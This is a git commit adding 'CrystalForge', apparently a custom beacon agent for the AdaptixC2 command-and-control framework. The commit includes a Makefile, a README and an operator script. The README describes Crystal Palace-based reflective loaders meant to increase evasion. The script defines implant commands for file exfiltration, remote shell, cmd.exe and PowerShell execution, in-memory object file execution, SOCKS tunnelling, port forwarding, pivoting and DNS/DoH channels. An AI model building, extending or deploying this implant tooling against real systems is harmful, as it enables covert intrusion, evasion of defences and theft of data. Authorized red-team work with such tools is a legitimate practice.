Initial Commit

This commit is contained in:
john
2026-05-04 04:48:19 -04:00
commit e46172f167
111 changed files with 53873 additions and 0 deletions
+56
View File
@@ -0,0 +1,56 @@
# Build outputs
dist/
loader/bin/
libtcg/
src_beacon/objects_http/
src_beacon/objects_smb/
src_beacon/objects_tcp/
src_beacon/objects_dns/
# Dependency and intermediate files
*.d
*.o
*.obj
*.ko
*.elf
*.ilk
*.map
*.exp
*.gch
*.pch
*.lib
*.a
*.la
*.lo
*.dll
*.so
*.so.*
*.dylib
*.exe
*.out
*.app
*.i*86
*.x86_64
*.hex
*.dSYM/
*.su
*.idb
*.pdb
*.cmd
*.mod.c
*.mod.o
# Kernel / module leftovers
.tmp_versions/
modules.order
Module.symvers
Mkfile.old
dkms.conf
# IDE / editor
.vscode/
*.user
# Common OS noise
.DS_Store
Thumbs.db
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 k1ng0fn0th1ng
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+94
View File
@@ -0,0 +1,94 @@
DIST_DIR := dist
CRYSTAL_DIR := $(DIST_DIR)/crystal_palace
CRYSTAL_LINK := $(CRYSTAL_DIR)/link
PLUGIN_OUT := $(DIST_DIR)/crystal_forge.so
GO_PLUGIN_SOURCES := \
pl_main.go \
pl_packer.go \
pl_utils.go \
pl_sideloading.go
DIST_ASSETS := \
$(DIST_DIR)/config.yaml \
$(DIST_DIR)/ax_config.axs
# Full clean build
# Use this target when you want to rebuild everything from scratch.
all: clean crystal plugin loader beacon package-loader
# Development build
debug: crystal plugin loader-debug beacon package-loader-debug
@echo " * Dev build completed (only modified files)"
# ==================== Crystal Palace Installation ====================
crystal: $(CRYSTAL_LINK)
@echo " * Crystal Palace is ready"
$(CRYSTAL_LINK): | $(CRYSTAL_DIR)
@echo " * Downloading Crystal Palace..."
@curl -fsSL "https://tradecraftgarden.org/download/cpdist-latest.tgz" -o cpdist-latest.tgz
@tar -xzf cpdist-latest.tgz -C $(CRYSTAL_DIR) --strip-components=1
@rm -f cpdist-latest.tgz
@echo " done..."
# ==================== Build Go plugin ====================
plugin: $(PLUGIN_OUT) $(DIST_ASSETS)
@echo " * Go plugin is up to date"
$(PLUGIN_OUT): $(GO_PLUGIN_SOURCES) | $(DIST_DIR)
@echo " * Building crystal_forge Go plugin..."
@GOEXPERIMENT=jsonv2,greenteagc go build \
-buildmode=plugin \
-ldflags="-s -w" \
-o $@ \
$(GO_PLUGIN_SOURCES)
@echo " done..."
$(DIST_DIR)/config.yaml: config.yaml | $(DIST_DIR)
@cp -u $< $@
$(DIST_DIR)/ax_config.axs: ax_config.axs | $(DIST_DIR)
@cp -u $< $@
# ==================== Build Beacon C++ ====================
beacon:
@echo " * Building beacon C++ code..."
@$(MAKE) -C src_beacon --no-print-directory \
HTTP_DIST_DIR=../$(DIST_DIR)/objects_http \
SMB_DIST_DIR=../$(DIST_DIR)/objects_smb \
TCP_DIST_DIR=../$(DIST_DIR)/objects_tcp \
DNS_DIST_DIR=../$(DIST_DIR)/objects_dns
@echo " done..."
loader:
@echo " * Building Crystal loader..."
@$(MAKE) -C loader --no-print-directory
loader-debug:
@echo " * Building Crystal debug loader..."
@$(MAKE) -C loader debug --no-print-directory
# Copy the loader tree into dist after its local build has completed so the
# packaged specs always point at the latest generated bin/ artifacts.
package-loader: loader | $(DIST_DIR)
@rm -rf $(DIST_DIR)/loader
@cp -r ./loader $(DIST_DIR)/loader
package-loader-debug: loader-debug | $(DIST_DIR)
@rm -rf $(DIST_DIR)/loader
@cp -r ./loader $(DIST_DIR)/loader
clean:
@echo " * Cleaning build directories..."
@rm -rf $(DIST_DIR)
@$(MAKE) -C src_beacon --no-print-directory clean
@$(MAKE) -C loader --no-print-directory clean
$(DIST_DIR):
@mkdir -p $@
$(CRYSTAL_DIR):
@mkdir -p $@
.PHONY: all debug crystal plugin loader loader-debug beacon package-loader package-loader-debug clean
+125
View File
@@ -0,0 +1,125 @@
# CrystalForge
CrystalForge is a custom [AdaptixC2][1] agent that modifies the default beacon agent to support a [Crystal Palace][2] based UDRL pipeline.
The goal is simple: make it easier to bring custom Crystal Palace loaders into AdaptixC2 payload generation.
## Features
* Custom AdaptixC2 agent plugin
* Crystal Palace-based UDRL integration
* DLL and shellcode payload generation
* Custom Crystal Palace spec selection during payload generation
* Multi-transport beacon support inherited from the Adaptix beacon
* Default AdaptixC2 beacon feature set preserved
## Installation
Add CrystalForge to your AdaptixC2 extenders:
```bash
git clone https://github.com/k1ng0fn0th1ng/CrystalForge AdaptixC2/AdaptixServer/extenders/CrystalForge
cd AdaptixC2/AdaptixServer
go work use extenders/CrystalForge
go work sync
cd ..
make extenders
```
### Add CrystalForge to Adaptix profile
Open your Adaptix `profile.yaml` and add CrystalForge under the `extenders` section:
```yaml
extenders:
- "extenders/CrystalForge/config.yaml"
```
Or insert it automatically from the Adaptix server directory:
```bash
awk '
/extenders:/ && !done {
print
print " - \"extenders/CrystalForge/config.yaml\""
done=1
next
}
{ print }
' profile.yaml > tmp && mv tmp profile.yaml
```
### Register CrystalForge in Extension-Kit
If you use the Adaptix [Extension-Kit][3], register CrystalForge as a supported agent:
```bash
./add_agent.sh CrystalForge
```
Then reload the Extension-Kit AXScript from the Adaptix client.
## Usage
When generating a CrystalForge payload from Adaptix, select the desired output format:
* DLL
* Shellcode
DLL output returns the default Adaptix DLL.
Shellcode output uses Crystal Palace to process the intermediate DLL through the selected `.spec` file.
### Bring your Crystal Palace UDRL
The UI allows you to specify a Crystal Palace `.spec` file. If no custom spec is provided, the default loader spec is used.
The loader referenced by the spec must already be compiled. CrystalForge links the intermediate DLL with Crystal Palace, but it does not build arbitrary external loader projects automatically.
## Design Goals
* Provide custom UDRL to AdaptixC2 to increase evasion
* Provide an easy way to integrate Crystal Palace loaders with AdaptixC2
* Make Crystal Palace easier to use from a public C2 workflow
* Define a flexible loader code to implement any technique easily
* Preserve the Adaptix beacon workflow where possible
* Provide a flexible base for experimenting with custom loader techniques
## Limitations
* EXE and service executable outputs are not implemented yet.
* Dynamically resolved APIs are not hooked; only functions resolved via the IAT are affected.
* Crystal Palace loader components must be built before they are referenced by a spec file.
## Roadmap
* Add EXE output
* Add service executable output
* Expand API hooking coverage inside the Adaptix beacon path
## References & Credits
* [AdaptixC2][1] - original beacon and extender model
* [Crystal Palace][2] - core framework
* Rasta Mouse - [Crystal-Kit][4], [LibGate][5], [CRTL][6] research inspiration
* [Draugr][7] - stack spoofing
## Disclaimer
This project is intended for security research, development, and educational purposes in authorized environments only.
Unauthorized use against systems you do not own or do not have explicit permission to test is illegal.
## License
This project is licensed under the MIT License.
See the LICENSE file for more details.
[1]: https://github.com/Adaptix-Framework/AdaptixC2
[2]: https://tradecraftgarden.org/crystalpalace.html
[3]: https://github.com/Adaptix-Framework/Extension-Kit
[4]: https://github.com/rasta-mouse/Crystal-Kit
[5]: https://github.com/rasta-mouse/LibGate
[6]: https://www.zeropointsecurity.co.uk/course/red-team-ops-ii
[7]: https://github.com/NtDallas/Draugr
+561
View File
@@ -0,0 +1,561 @@
/// Beacon agent
let exit_thread_action = menu.create_action("Terminate thread", function(value) { value.forEach(v => ax.execute_command(v, "terminate thread")) });
let exit_process_action = menu.create_action("Terminate process", function(value) { value.forEach(v => ax.execute_command(v, "terminate process")) });
let exit_menu = menu.create_menu("Exit");
exit_menu.addItem(exit_thread_action)
exit_menu.addItem(exit_process_action)
menu.add_session_agent(exit_menu, ["beacon"])
let file_browser_action = menu.create_action("File Browser", function(value) { value.forEach(v => ax.open_browser_files(v)) });
let process_browser_action = menu.create_action("Process Browser", function(value) { value.forEach(v => ax.open_browser_process(v)) });
let shell_browser_action = menu.create_action("Remote Shell", function(value) { value.forEach(v => ax.open_remote_shell(v)) });
menu.add_session_browser(file_browser_action, ["beacon"])
menu.add_session_browser(process_browser_action, ["beacon"])
menu.add_session_browser(shell_browser_action, ["beacon"])
let tunnel_access_action = menu.create_action("Create Tunnel", function(value) { ax.open_access_tunnel(value[0], true, true, true, true) });
menu.add_session_access(tunnel_access_action, ["beacon"])
let execute_action = menu.create_action("Execute", function(files_list) {
file = files_list[0];
if(file.type != "file"){ return; }
let label_bin = form.create_label("Binary:");
let text_bin = form.create_textline(file.path + file.name);
text_bin.setEnabled(false);
let label_args = form.create_label("Arguments:");
let text_args = form.create_textline();
let output_check = form.create_check("Show command output");
output_check.setChecked(true);
let layout = form.create_gridlayout();
layout.addWidget(label_bin, 0, 0, 1, 1);
layout.addWidget(text_bin, 0, 1, 1, 1);
layout.addWidget(label_args, 1, 0, 1, 1);
layout.addWidget(text_args, 1, 1, 1, 1);
layout.addWidget(output_check, 2, 1, 1, 1);
let dialog = form.create_dialog("Execute binary");
dialog.setSize(600, 100);
dialog.setLayout(layout);
if ( dialog.exec() == true )
{
let command = "ps run ";
if( output_check.isChecked()) { command += "-o "; }
command += text_bin.text() + " " + text_args.text();
ax.execute_command(file.agent_id, command);
}
});
let download_action = menu.create_action("Download", function(files_list) {
files_list.forEach((file) => {
if(file.type == "file") {
ax.execute_command(file.agent_id, "download " + file.path + file.name);
}
});
});
let remove_action = menu.create_action("Remove", function(files_list) {
files_list.forEach(file => ax.execute_command(file.agent_id, "rm " + file.path + file.name))
});
menu.add_filebrowser(execute_action, ["beacon"])
menu.add_filebrowser(download_action, ["beacon"])
menu.add_filebrowser(remove_action, ["beacon"])
let download_stop_action = menu.create_action("Pause", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "exfil stop " + file.file_id) ) });
let download_start_action = menu.create_action("Resume", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "exfil start " + file.file_id) ) });
let download_separator1 = menu.create_separator()
let download_cancel_action = menu.create_action("Cancel", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "exfil cancel " + file.file_id) ) });
menu.add_downloads_running(download_stop_action, ["beacon"])
menu.add_downloads_running(download_start_action, ["beacon"])
menu.add_downloads_running(download_separator1, ["beacon"])
menu.add_downloads_running(download_cancel_action, ["beacon"])
let job_stop_action = menu.create_action("Stop job", function(tasks_list) {
tasks_list.forEach((task) => {
if(task.type == "JOB" && task.state == "Running") {
ax.execute_command(task.agent_id, "jobs kill " + task.task_id);
}
});
});
menu.add_tasks_job(job_stop_action, ["beacon"])
var event_disks_action = function(id) {
ax.execute_browser(id, "disks");
}
event.on_filebrowser_disks(event_disks_action, ["beacon"]);
var event_files_action = function(id, path) {
ax.execute_browser(id, "ls " + path);
}
event.on_filebrowser_list(event_files_action, ["beacon"]);
var event_upload_action = function(id, path, filepath) {
let filename = ax.file_basename(filepath);
ax.execute_browser(id, "upload " + filepath + " " + path + filename);
}
event.on_filebrowser_upload(event_upload_action, ["beacon"]);
var event_process_action = function(id) {
ax.execute_browser(id, "ps list");
}
event.on_processbrowser_list(event_process_action, ["beacon"]);
function RegisterCommands(listenerType)
{
let cmd_cat = ax.create_command("cat", "Read first 2048 bytes of the specified file", "cat C:\\file.exe", "Task: read file");
cmd_cat.addArgString("path", true);
let cmd_cd = ax.create_command("cd", "Change current working directory", "cd C:\\Windows", "Task: change working directory");
cmd_cd.addArgString("path", true);
let cmd_cp = ax.create_command("cp", "Copy file", "cp src.txt dst.txt", "Task: copy file");
cmd_cp.addArgString("src", true);
cmd_cp.addArgString("dst", true);
let cmd_disks = ax.create_command("disks", "Lists mounted drives on current system", "disks", "Task: show mounted disks");
let cmd_download = ax.create_command("download", "Download a file", "download C:\\Temp\\file.txt", "Task: download file");
cmd_download.addArgString("file", true);
let _cmd_execute_bof = ax.create_command("bof", "Execute Beacon Object File", "execute bof /home/user/whoami.o", "Task: execute BOF");
_cmd_execute_bof.addArgBool("-a", "Async mode");
_cmd_execute_bof.addArgFile("bof", true, "Path to object file");
_cmd_execute_bof.addArgString("param_data", false);
let cmd_execute = ax.create_command("execute", "Execute [bof] in the current process's memory");
cmd_execute.addSubCommands([_cmd_execute_bof])
let _cmd_exfil_cancel = ax.create_command("cancel", "Cancels a download", "exfil cancel 1a2b3c4d");
_cmd_exfil_cancel.addArgString("file_id", true);
let _cmd_exfil_start = ax.create_command("start", "Resumes a download that's has been stoped", "exfil start 1a2b3c4d");
_cmd_exfil_start.addArgString("file_id", true);
let _cmd_exfil_stop = ax.create_command("stop", "Stops a download that's in-progress", "exfil stop 1a2b3c4d");
_cmd_exfil_stop.addArgString("file_id", true);
let cmd_exfil = ax.create_command("exfil", "Manage current downloads");
cmd_exfil.addSubCommands([_cmd_exfil_cancel, _cmd_exfil_start, _cmd_exfil_stop])
let cmd_getuid = ax.create_command("getuid", "Prints the User ID associated with the current token", "getuid", "Task: get username of current token");
let _cmd_job_list = ax.create_command("list", "List of jobs", "jobs list", "Task: show jobs");
let _cmd_job_kill = ax.create_command("kill", "Kill a specified job", "jobs kill 1a2b3c4d", "Task: kill job");
_cmd_job_kill.addArgString("task_id", true);
let cmd_job = ax.create_command("jobs", "Long-running tasks manager");
cmd_job.addSubCommands([_cmd_job_list, _cmd_job_kill]);
let _cmd_link_smb = ax.create_command("smb", "Connect to an SMB agent and re-establish control of it", "link smb 192.168.1.2 pipe_a1b2", "Task: Connect to an SMB agent");
_cmd_link_smb.addArgString("target", true);
_cmd_link_smb.addArgString("pipename", true);
let _cmd_link_tcp = ax.create_command("tcp", "Connect to an TCP agent and re-establish control of it", "link tcp 192.168.1.2 8888", "Task: Connect to an TCP agent");
_cmd_link_tcp.addArgString("target", true);
_cmd_link_tcp.addArgInt("port", true);
let cmd_link = ax.create_command("link", "Connect to an pivot agents");
cmd_link.addSubCommands([_cmd_link_smb, _cmd_link_tcp]);
let cmd_ls = ax.create_command("ls", "List contents of a directory or details of a file", "ls C:\\Windows", "Task: list files");
cmd_ls.addArgString("path", "", ".");
let _cmd_lportfwd_start = ax.create_command("start", "Start local port forwarding from server via agent", "lportfwd start 127.0.0.1 8080 192.168.1.1 8080");
_cmd_lportfwd_start.addArgString("lhost", "Listening interface address on server", "0.0.0.0");
_cmd_lportfwd_start.addArgInt("lport", true, "Listen port on server");
_cmd_lportfwd_start.addArgString("fwdhost", true, "Remote forwarding address");
_cmd_lportfwd_start.addArgInt("fwdport", true, "Remote forwarding port");
let _cmd_lportfwd_stop = ax.create_command("stop", "Stop local port forwarding", "lportfwd stop 8080");
_cmd_lportfwd_stop.addArgInt("lport", true);
let cmd_lportfwd = ax.create_command("lportfwd", "Managing local port forwarding");
cmd_lportfwd.addSubCommands([_cmd_lportfwd_start, _cmd_lportfwd_stop]);
let cmd_mv = ax.create_command("mv", "Move file", "mv src.txt dst.txt", "Task: move file");
cmd_mv.addArgString("src", true);
cmd_mv.addArgString("dst", true);
let cmd_mkdir = ax.create_command("mkdir", "Make a directory", "mkdir C:\\Temp", "Task: make directory");
cmd_mkdir.addArgString("path", true);
let _cmd_profile_chunksize = ax.create_command("download.chunksize", "Change the exfiltrate data size for download request (default 128000)", "profile download.chunksize 512000", "Task: set download chunk size");
_cmd_profile_chunksize.addArgInt("size", true);
let _cmd_profile_killdate = ax.create_command("killdate", "Set the date and time for the beacon to stop working", "profile killdate 28.02.2030 12:34:00", "Task: set beacon's killdate");
_cmd_profile_killdate.addArgString("datetime", true, "Datetime 'DD.MM.YYYY hh:mm:ss' in GMT format. Set 0 to disable the option");
let _cmd_profile_workingtime = ax.create_command("workingtime", "Set the start and end time of the beacon activity", "profile workingtime 8:00-17:30", "Task: set beacon's workingtime");
_cmd_profile_workingtime.addArgString("time", true, "Time interval in the format 'HH:mm(start)-HH:mm(end)'. Set 0 to disable the option");
let cmd_profile = ax.create_command("profile", "Configure the payloads profile for current session");
cmd_profile.addSubCommands([_cmd_profile_chunksize, _cmd_profile_killdate, _cmd_profile_workingtime]);
let _cmd_ps_list = ax.create_command("list", "Show process list", "ps list", "Task: show process list");
let _cmd_ps_kill = ax.create_command("kill", "Kill a process with a given PID", "ps kill 7865", "Task: kill process");
_cmd_ps_kill.addArgInt("pid", true);
let _cmd_ps_run = ax.create_command("run", "Run a program", "run -s cmd.exe /c whoami /all", "Task: create new process");
_cmd_ps_run.addArgBool("-s", "Suspend process");
_cmd_ps_run.addArgBool("-o", "Output to console");
_cmd_ps_run.addArgBool("-i", "Use impersonation");
_cmd_ps_run.addArgString("args", true);
let cmd_ps = ax.create_command("ps", "Process manager");
cmd_ps.addSubCommands([_cmd_ps_list, _cmd_ps_kill, _cmd_ps_run]);
let cmd_pwd = ax.create_command("pwd", "Print current working directory", "pwd", "Task: print working directory");
let cmd_rev2self = ax.create_command("rev2self", "Revert to your original access token", "rev2self", "Task: revert token");
let cmd_rm = ax.create_command("rm", "Remove a file or folder", "rm C:\\Temp\\file.txt", "Task: remove file or directory");
cmd_rm.addArgString("path", true);
let _cmd_rportfwd_start = ax.create_command("start", "Start remote port forwarding from agent via server", "rportfwd start 8080 10.10.10.14 8080");
_cmd_rportfwd_start.addArgInt("lport", true, "Listen port on agent");
_cmd_rportfwd_start.addArgString("fwdhost", true, "Remote forwarding address");
_cmd_rportfwd_start.addArgInt("fwdport", true, "Remote forwarding port");
let _cmd_rportfwd_stop = ax.create_command("stop", "Stop remote port forwarding", "rportfwd stop 8080");
_cmd_rportfwd_stop.addArgInt("lport", true);
let cmd_rportfwd = ax.create_command("rportfwd", "Managing remote port forwarding");
cmd_rportfwd.addSubCommands([_cmd_rportfwd_start, _cmd_rportfwd_stop]);
let cmd_sleep = ax.create_command("sleep", "Sets sleep time", "sleep 30m5s 10");
cmd_sleep.addArgString("sleep", true, "Time in '%h%m%s' format or number of seconds");
cmd_sleep.addArgInt("jitter", false, "Max random amount of time in % added to sleep");
let _cmd_burst_show = ax.create_command("show", "Show burst config", "burst show");
let _cmd_burst_set = ax.create_command("set", "Set burst config", "burst set 1 50 10");
_cmd_burst_set.addArgInt("enabled", true, "1=on, 0=off");
_cmd_burst_set.addArgInt("sleep", false, "Sleep in ms (default 50)");
_cmd_burst_set.addArgInt("jitter", false, "Jitter % 0-90 (default 0)");
let cmd_burst = ax.create_command("burst", "DNS burst mode");
cmd_burst.addSubCommands([_cmd_burst_show, _cmd_burst_set]);
let _cmd_socks_start = ax.create_command("start", "Start a SOCKS(4a/5) proxy server and listen on a specified port", "socks start 1080 -auth user pass");
_cmd_socks_start.addArgFlagString("-h", "address", "Listening interface address", "0.0.0.0");
_cmd_socks_start.addArgInt("port", true, "Listen port");
_cmd_socks_start.addArgBool("-socks4", "Use SOCKS4 proxy (Default SOCKS5)");
_cmd_socks_start.addArgBool("-auth", "Enable User/Password authentication for SOCKS5");
_cmd_socks_start.addArgString("username", false, "Username for SOCKS5 proxy");
_cmd_socks_start.addArgString("password", false, "Password for SOCKS5 proxy");
let _cmd_socks_stop = ax.create_command("stop", "Stop a SOCKS proxy server", "socks stop 1080");
_cmd_socks_stop.addArgInt("port", true);
let cmd_socks = ax.create_command("socks", "Managing socks tunnels");
cmd_socks.addSubCommands([_cmd_socks_start, _cmd_socks_stop]);
let _cmd_terminate_thread = ax.create_command("thread", "Terminate the main beacon thread (without terminating the process)", "terminate thread", "Task: terminate agent thread");
let _cmd_terminate_process = ax.create_command("process", "Terminate the beacon process", "terminate process", "Task: terminate agent process");
let cmd_terminate = ax.create_command("terminate", "Terminate the session");
cmd_terminate.addSubCommands([_cmd_terminate_thread, _cmd_terminate_process]);
let cmd_unlink = ax.create_command("unlink", "Disconnect from an pivot agent", "unlink 1a2b3c4d", "Task: disconnect from an pivot agent");
cmd_unlink.addArgString("id", true);
let cmd_upload = ax.create_command("upload", "Upload a file", "upload /tmp/file.txt C:\\Temp\\file.txt", "Task: upload file");
cmd_upload.addArgFile("local_file", true);
cmd_upload.addArgString("remote_path", false);
/// Aliases
let cmd_shell = ax.create_command("shell", "Execute command via cmd.exe", "shell whoami /all");
cmd_shell.addArgString("cmd_params", true);
cmd_shell.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
let new_cmd = "ps run -o C:\\Windows\\System32\\cmd.exe /c " + parsed_json["cmd_params"];
ax.execute_alias(id, cmdline, new_cmd);
});
let cmd_powershell = ax.create_command("powershell", "Execute command via powershell.exe", "powershell ls");
cmd_powershell.addArgString("cmd_params", true);
cmd_powershell.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
let new_cmd = "ps run -o C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c " + parsed_json["cmd_params"];
ax.execute_alias(id, cmdline, new_cmd);
});
let cmd_interact = ax.create_command("interact", "Set 'sleep 0'", "interact");
cmd_interact.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
ax.execute_alias(id, cmdline, "sleep 0");
});
if(listenerType == "BeaconDNS") {
let commands_dns = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid,
cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep,
cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact, cmd_burst] );
return { commands_windows: commands_dns }
}
else if(listenerType == "BeaconHTTP") {
let commands_http = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid,
cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep,
cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact] );
return { commands_windows: commands_http }
}
else if (listenerType == "BeaconSMB" || listenerType == "BeaconTCP") {
let commands_internal = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid,
cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd,
cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact] );
return { commands_windows: commands_internal }
}
return ax.create_commands_group("none",[]);
}
function GenerateUI(listeners_type)
{
let spacer1 = form.create_vspacer();
let labelArch = form.create_label("Arch:");
let comboArch = form.create_combo()
comboArch.addItems(["x64", "x86"]);
let labelAgentFormat = form.create_label("Format:");
let comboAgentFormat = form.create_combo()
comboAgentFormat.addItems(["DLL", "Shellcode"]);
let labelSleep = form.create_label("Sleep (Jitter %):");
let textSleep = form.create_textline("4s");
textSleep.setPlaceholder("1h 2m 5s")
let spinJitter = form.create_spin();
spinJitter.setRange(0, 100);
spinJitter.setValue(0);
if( !listeners_type.includes("BeaconHTTP") && !listeners_type.includes("BeaconDNS") ) {
labelSleep.setVisible(false);
textSleep.setVisible(false);
spinJitter.setVisible(false);
}
let checkKilldate = form.create_check("Set 'killdate'");
let dateKill = form.create_dateline("dd.MM.yyyy");
let timeKill = form.create_timeline("HH:mm:ss");
let checkWorkingTime = form.create_check("Set 'workingtime'");
let timeStart = form.create_timeline("HH:mm");
let timeFinish = form.create_timeline("HH:mm");
let labelSvcName = form.create_label("Service Name:");
labelSvcName.setVisible(false)
let textSvcName = form.create_textline("AgentService");
textSvcName.setVisible(false);
let checkSideloading = form.create_check("Legit-DLL:");
checkSideloading.setVisible(false);
let sideloadingSelector = form.create_selector_file();
sideloadingSelector.setVisible(false);
let checkIatHiding = form.create_check("IAT Hiding (empty import table)");
// if( !listeners_type.includes("BeaconHTTP") && !listeners_type.includes("BeaconDNS") ) {
// checkIatHiding.setVisible(false);
// }
// Select Crystal Palace spec file
let labelSpecFile = form.create_label("Crystal Palace Spec File:");
labelSpecFile.setVisible(false);
let textSpecFile = form.create_textline();
textSpecFile.setPlaceholder("loader/loader.spec");
textSpecFile.setVisible(false);
//////////////////// DNS Settings
let labelDnsMode = form.create_label("DNS Mode:");
let comboDnsMode = form.create_combo();
comboDnsMode.addItems(["DNS (Direct UDP)", "DoH (DNS over HTTPS)", "DNS -> DoH fallback", "DoH -> DNS fallback"]);
comboDnsMode.setCurrentIndex(0);
let labelDnsResolvers = form.create_label("DNS Resolvers:");
let textDnsResolvers = form.create_textline("8.8.8.8,1.1.1.1,9.9.9.9");
let labelDohResolvers = form.create_label("DoH Resolvers:");
let textDohResolvers = form.create_textline("https://dns.google/dns-query,https://cloudflare-dns.com/dns-query,https://dns.quad9.net/dns-query");
let labelUserAgent = form.create_label("User-Agent:");
let textUserAgent = form.create_textline("Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0");
let layout_group_dns = form.create_gridlayout();
layout_group_dns.addWidget(labelDnsMode, 0, 0, 1, 1);
layout_group_dns.addWidget(comboDnsMode, 0, 1, 1, 1);
layout_group_dns.addWidget(labelDnsResolvers, 1, 0, 1, 1);
layout_group_dns.addWidget(textDnsResolvers, 1, 1, 1, 1);
layout_group_dns.addWidget(labelDohResolvers, 2, 0, 1, 1);
layout_group_dns.addWidget(textDohResolvers, 2, 1, 1, 1);
layout_group_dns.addWidget(labelUserAgent, 3, 0, 1, 1);
layout_group_dns.addWidget(textUserAgent, 3, 1, 1, 1);
let panel_group_dns = form.create_panel();
panel_group_dns.setLayout(layout_group_dns);
let group_dns = form.create_groupbox("DNS settings")
group_dns.setPanel(panel_group_dns);
function updateDnsFieldsVisibility() {
let mode = comboDnsMode.currentText();
if(mode == "DNS (Direct UDP)") {
labelDnsResolvers.setVisible(true);
textDnsResolvers.setVisible(true);
labelDohResolvers.setVisible(false);
textDohResolvers.setVisible(false);
labelUserAgent.setVisible(false);
textUserAgent.setVisible(false);
} else if(mode == "DoH (DNS over HTTPS)") {
labelDnsResolvers.setVisible(false);
textDnsResolvers.setVisible(false);
labelDohResolvers.setVisible(true);
textDohResolvers.setVisible(true);
labelUserAgent.setVisible(true);
textUserAgent.setVisible(true);
} else {
labelDnsResolvers.setVisible(true);
textDnsResolvers.setVisible(true);
labelDohResolvers.setVisible(true);
textDohResolvers.setVisible(true);
labelUserAgent.setVisible(true);
textUserAgent.setVisible(true);
}
}
updateDnsFieldsVisibility();
form.connect(comboDnsMode, "currentTextChanged", function(text) {
updateDnsFieldsVisibility();
});
//////////////////// HTTP Settings
let labelProxyType = form.create_label("Type:");
let comboProxyType = form.create_combo();
comboProxyType.addItems(["http", "https"]);
let labelProxyServer = form.create_label("Server:");
let textProxyServer = form.create_textline("");
textProxyServer.setPlaceholder("192.168.1.1");
let spinProxyPort = form.create_spin();
spinProxyPort.setRange(1, 65535);
spinProxyPort.setValue(3128);
let labelProxyUsername = form.create_label("Username:");
let textProxyUsername = form.create_textline("");
textProxyUsername.setPlaceholder("(optional)");
let labelProxyPassword = form.create_label("Password:");
let textProxyPassword = form.create_textline("");
textProxyPassword.setPlaceholder("(optional)");
let layout_group_proxy = form.create_gridlayout();
layout_group_proxy.addWidget(labelProxyType, 0, 0, 1, 1);
layout_group_proxy.addWidget(comboProxyType, 0, 1, 1, 2);
layout_group_proxy.addWidget(labelProxyServer, 1, 0, 1, 1);
layout_group_proxy.addWidget(textProxyServer, 1, 1, 1, 1);
layout_group_proxy.addWidget(spinProxyPort, 1, 2, 1, 1);
layout_group_proxy.addWidget(labelProxyUsername, 2, 0, 1, 1);
layout_group_proxy.addWidget(textProxyUsername, 2, 1, 1, 2);
layout_group_proxy.addWidget(labelProxyPassword, 3, 0, 1, 1);
layout_group_proxy.addWidget(textProxyPassword, 3, 1, 1, 2);
let panel_group_proxy = form.create_panel();
panel_group_proxy.setLayout(layout_group_proxy);
let group_proxy = form.create_groupbox("Use HTTP/HTTPS proxy", true)
group_proxy.setPanel(panel_group_proxy);
group_proxy.setChecked(false);
/////////////////////////
let labelRotation = form.create_label("Rotation Mode:");
let comboRotation = form.create_combo();
comboRotation.addItems(["sequential", "random"]);
let spacer2 = form.create_vspacer();
if(!listeners_type.includes("BeaconDNS")) {
group_dns.setVisible(false);
}
if(!listeners_type.includes("BeaconHTTP")) {
group_proxy.setVisible(false);
labelRotation.setVisible(false);
comboRotation.setVisible(false);
}
let layout = form.create_gridlayout();
layout.addWidget(spacer1, 0, 0, 1, 3);
layout.addWidget(labelArch, 1, 0, 1, 1);
layout.addWidget(comboArch, 1, 1, 1, 2);
layout.addWidget(labelAgentFormat, 2, 0, 1, 1);
layout.addWidget(comboAgentFormat, 2, 1, 1, 2);
layout.addWidget(labelSleep, 3, 0, 1, 1);
layout.addWidget(textSleep, 3, 1, 1, 1);
layout.addWidget(spinJitter, 3, 2, 1, 1);
layout.addWidget(checkKilldate, 4, 0, 1, 1);
layout.addWidget(dateKill, 4, 1, 1, 1);
